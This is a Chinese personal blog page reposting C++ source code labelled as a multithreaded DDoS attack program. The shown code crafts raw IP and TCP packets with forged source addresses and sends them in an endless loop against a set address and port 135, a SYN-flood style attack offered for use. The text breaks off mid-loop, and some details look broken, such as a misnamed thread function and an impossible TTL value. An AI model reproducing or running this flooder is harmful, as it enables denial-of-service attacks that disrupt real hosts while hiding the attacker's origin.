半个我

hengai的BLOG
随笔 - 17, 文章 - 4, 评论 - 134, 引用 - 2

导航

<2008年5月>
27282930123
45678910
11121314151617
18192021222324
25262728293031
1234567

留言簿(4)

随笔分类

随笔档案

文章分类

文章档案

相册

VCKBASE

搜索

最新评论

阅读排行榜

评论排行榜

[转载] 多线程 DDOS 攻击源代码(C++源码)

//转载
/********************************************************************

 

      : 多线程 DDOS 攻击源代码

  创建时间: 未知

      : 特务

      : 纯技术论坛:http://167168.kmip.net

            一群技术人员的逛爱之处,闲聊者免进~~技术永远是第一生产力!

      : 请注明转载来源

  最后修改:

 

      : hengai

  编译环境: VC6 + Windows XP

*********************************************************************/

 

#include "stdafx.h"

#include <windows.h>

#include <winsock2.h>

#include <ws2tcpip.h>

#pragma comment(lib,"WS2_32.LIB")

 

typedef struct tag_ip_Header          //ip首部

{

  unsigned char h_verlen;             //4位手部长度,和4IP版本号

  unsigned char tos;                  //8位类型服务

  unsigned short total_len;           //16位总长度

  unsigned short ident;               //16位标志

  unsigned short frag_and_flags;      //3位标志位(如SYN,ACK,等等)

  unsigned char ttl;                  //8位生存时间

  unsigned char proto;                //8位协议

  unsigned short checksum;            //ip手部效验和

  unsigned int SourceIP;              //伪造IP地址

  unsigned int DestIP;                //攻击的ip地址

}IPHEADER;

 

typedef struct tag_tcp_Header

{

  USHORT th_sport;                    //伪造端口

  USHORT th_dport;                    //攻击端口

  unsigned int th_seq;                //32位系列号

  unsigned int th_ack;                //32位确认号

  unsigned char th_lenres;            //4位首布长度,6位保留字

  unsigned char th_flag;              //6位标志位

  USHORT th_win;                      //16位窗口大小

  USHORT th_sum;                      //16位效验和

  USHORT th_urp;                      //

}TCPHEADER;

 

typedef struct tag_tsd_Header

{

  unsigned long saddr;                //伪造地址

  unsigned long daddr;                //攻击地址

  char mbz;                           //

  char ptcl;                          //协议类型

  unsigned short tcpl;                //TCP长度

}TSDHEADER;

 

DWORD WINAPI Start(void);

HANDLE hFind[10];

 

//计算效验和

USHORT checksum(USHORT *buffer,int size)

{

  unsigned long check=0;

  while(size>1)

  {

    check+=*buffer++;

    size -=sizeof(USHORT);

  }

  if(size)

  {

    check += *(USHORT*)buffer;

  }

  check = (check >>16) + (check & 0xffff);

  check += (check >>16);

  return (USHORT)(~check);

}

//攻击线程

DWORD WINAPI Statr(void)

{

  SOCKET sock;

  WSADATA WSAData;

  SOCKADDR_IN syn_in;

  IPHEADER ipHeader;

  TCPHEADER tcpHeader;

  TSDHEADER psdHeader;

  const char *addr = "127.0.0.1";     //攻击的IP地址

  int port = 135;                     //要攻击的端口

  if(WSAStartup(MAKEWORD(2,2),&WSAData))

  {

    return false;

  }

  if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)

  {

    return false;

  }

  BOOL flag=true;

  if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char*)&flag,sizeof(flag))==SOCKET_ERROR)

  {

    return false;

  }

  int Time =888;

  if(setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&Time,sizeof(Time))==SOCKET_ERROR)

  {

    return false;

  }

  syn_in.sin_family = AF_INET;

  syn_in.sin_port = htons(port);

  syn_in.sin_addr.S_un.S_addr = inet_addr(addr);

  while(TRUE)

  {

    //填充IP首部

    ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));

    ipHeader.tos=0;

    ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));

    ipHeader.ident=1;

    ipHeader.frag_and_flags=0;

    ipHeader.ttl=(unsigned char)GetTickCount()%514+620;

    ipHeader.proto=IPPROTO_TCP;

    ipHeader.checksum=0;

    ipHeader.SourceIP=htonl(GetTickCount()*1986);

    ipHeader.DestIP=inet_addr(addr);